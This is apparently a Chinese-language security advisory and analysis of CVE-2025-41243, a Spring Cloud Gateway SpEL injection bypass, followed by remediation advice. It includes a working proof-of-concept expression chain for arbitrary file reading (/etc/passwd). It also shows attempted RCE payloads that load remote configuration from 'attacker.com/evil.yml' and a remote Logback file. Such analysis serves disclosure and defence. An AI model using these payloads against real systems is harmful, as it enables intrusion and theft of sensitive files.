CVE-2025-41243:Spring Cloud Gateway SpEL注入漏洞深入分析与利用
1. 漏洞概述
CVE编号:CVE-2025-41243
漏洞类型:SpEL (Spring Expression Language) 表达式注入
影响组件:Spring Cloud Gateway
漏洞评级:Critical (10.0分)
触发条件:在热更新路由配置时,攻击者能够控制路由配置中的参数值,并使其被解析为SpEL表达式。
最终影响:通过精心构造的SpEL表达式链,可实现任意文件读取,并在特定条件下可能影响系统配置。
2. 漏洞背景与历史
此漏洞是Spring Cloud Gateway历史上著名的SpEL注入漏洞(如CVE-2022-22947)的绕过。在之前的修复中,Spring官方将SpEL的执行上下文从功能强大的 StandardEvaluationContext 替换为限制严格的 SimpleEvaluationContext,并默认启用了 RestrictivePropertyAccessor(限制性属性访问器),旨在阻止任意代码执行。
3. 历史修复与限制分析
修复后的SpEL执行环境(GatewayEvaluationContext)设置了多重安全枷锁:
- Bean访问限制:
getBeanResolver()返回null,理论上无法通过@beanName访问Spring容器中的Bean。 - 类型转换限制:
getTypeConverter()返回一个总会失败的定位器。 - 方法解析限制:
methodResolver被设置为解析任何方法都返回null。 - 属性访问限制:使用了
RestrictivePropertyAccessor,极大限制了通过属性名对对象进行反射访问的能力。
然而,修复中存在一个关键的“泄洪口”:尽管对Bean的“属性”访问受到了限制,但对Bean“Map”的访问却未被有效管制。这意味着表达式如 @myMap['key'] 仍然可以读写Map中的值。
4. 漏洞核心利用原理
利用过程分为几个关键步骤,核心在于通过SpEL赋值表达式修改系统配置,逐步解除安全限制,最终操纵系统行为。
步骤一:解除安全枷锁
首要目标是禁用 RestrictivePropertyAccessor。Spring Cloud Gateway提供了一个配置开关:spring.cloud.gateway.restrictive-property-accessor.enabled(默认为 true)。
利用Spring内置的 systemProperties (一个Map)可以动态修改系统属性:
#{@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false'}
执行此表达式后,RestrictivePropertyAccessor 被禁用,SpEL上下文会回退到限制更少的 SimpleEvaluationContext.forReadOnlyDataBinding()。此时,属性的读取限制被解除。
步骤二:发现关键能力 - 任意无参方法调用
在解除属性读取限制后,漏洞研究取得了突破性进展。SpEL的属性访问器 (ReflectivePropertyAccessor) 在查找一个对象的属性时,有一个兜底策略:如果找不到标准的getter方法,它会尝试将属性名直接当作方法名进行查找和调用。
这意味着,对于任何Bean,表达式 @someBean.someMethod 如果 someMethod 是一个公开的无参方法,那么该方法就会被调用!这提供了一个强大的原语:调用Spring容器中任何Bean的任何公开无参方法。
步骤三:构造利用链 - 任意文件读取
拥有任意无参方法调用能力后,接下来的目标是在Spring Cloud Gateway的数百个Bean中寻找可利用的链。作者发现了以下利用链:
- 定位关键Bean:找到名为
resourceHandlerMapping的Bean,其类型为SimpleUrlHandlerMapping。它的urlMap属性存储了静态资源(如/webjars/**)的路径映射。 - 篡改资源映射:通过Map访问修改静态资源处理器的位置,将其指向任意目录(如Windows系统盘)。
注:#{ @resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0] = 'file:///C:/'}locationValues是ResourceWebHandler的一个属性。 - 刷新配置生效:仅仅修改值可能不会立即生效,因为服务启动时计算的最终路径
locationsToUse可能已被缓存。需要调用ResourceWebHandler的afterPropertiesSet()方法来重新解析路径。#{ @resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet()}
完整利用POC(文件读取):
攻击者通过在路由配置中注入以下表达式链,即可将 /webjars/ 路径映射到根目录,之后通过访问 http://gateway:port/webjars/../../etc/passwd 即可下载目标文件。
#{
@systemProperties['spring.cloud.gateway.restrictive-property-accessor.enabled'] = 'false',
@resourceHandlerMapping.urlMap['/webjars/**'].locationValues[0] = 'file:///',
@resourceHandlerMapping.urlMap['/webjars/**'].afterPropertiesSet()
}
步骤四:探索配置重载与RCE可能性
作者进一步尝试了更深入的利用,试图实现远程代码执行(RCE)。
-
尝试配置重载:
- 找到
refreshEndpointBean(需要spring-boot-starter-actuator依赖),其refresh()方法可以重载应用上下文。 - 尝试通过SpEL设置
spring.config.import属性来加载外部恶意配置,并触发刷新:#{ @systemProperties['spring.config.import'] = 'optional:http://attacker.com/evil.yml', @refreshEndpoint.refresh() } - 问题:这会引发死循环,因为刷新时路由会重新加载,再次触发SpEL表达式执行。作者通过三元表达式设置标记位来避免:
#{ @systemProperties['okkk'] != 'true' ? (@systemProperties['okkk'] = 'true') + @refreshEndpoint.refresh() : 'ok' } - 结果:高版本Spring Boot使用安全的YAML解析器,防止了通过配置文件实现的RCE。
- 找到
-
尝试Logback配置注入:
- 尝试通过设置
logging.config属性加载远程Logback配置,以触发RCE。#{@systemProperties['logging.config'] = 'http://127.0.0.1/evil.xml'} - 结果:Logback不会在上下文刷新时重新初始化,利用失败。
- 尝试通过设置
-
探索其他路径:
- 发现了
spring.cloud.gateway.discovery.locator相关的Bean,其setUrlExpression和setIncludeExpression方法设置的字符串会在后续被当作SpEL执行。但其执行上下文依然受限(forReadOnlyDataBinding+withInstanceMethods),无法访问Bean,难以利用。
- 发现了
5. 结论与总结
| aspect | 结论 |
|---|---|
| 漏洞根源 | 对SpEL上下文的修复不彻底,允许通过Bean Map访问和赋值操作修改系统属性,并结合ReflectivePropertyAccessor的“属性名即方法名”兜底策略实现任意无参方法调用。 |
| 实际影响 | 可稳定实现任意文件读取,从而泄露服务器上的敏感文件(如密钥、配置、源代码等)。 |
| RCE可能性 | 在常规条件下极难实现。尽管发现了配置刷新的路径,但受限于现代Spring Boot的安全机制(安全YAML解析、Logback初始化机制),未能构造出可靠的RCE利用链。 |
| 漏洞特点 | 这是一个权限提升型漏洞。利用过程像是在逐步解开系统身上的绳索:先解除属性限制 -> 然后获得方法调用能力 -> 最后找到能改变系统行为的特定Bean链。 |
6. 修复建议
- 紧急升级:将所有受影响的Spring Cloud Gateway实例升级到官方已发布修复的版本。
- 补丁分析:官方修复方案是在构建
SimpleEvaluationContext时增加了.withAssignmentDisabled(),彻底禁用了SpEL的赋值表达式,从根本上切断了通过修改系统属性来绕过限制的路径。 - 网络隔离:在生产环境中,严格限制Spring Cloud Gateway组件对互联网及内部敏感系统的访问权限,遵循最小权限原则。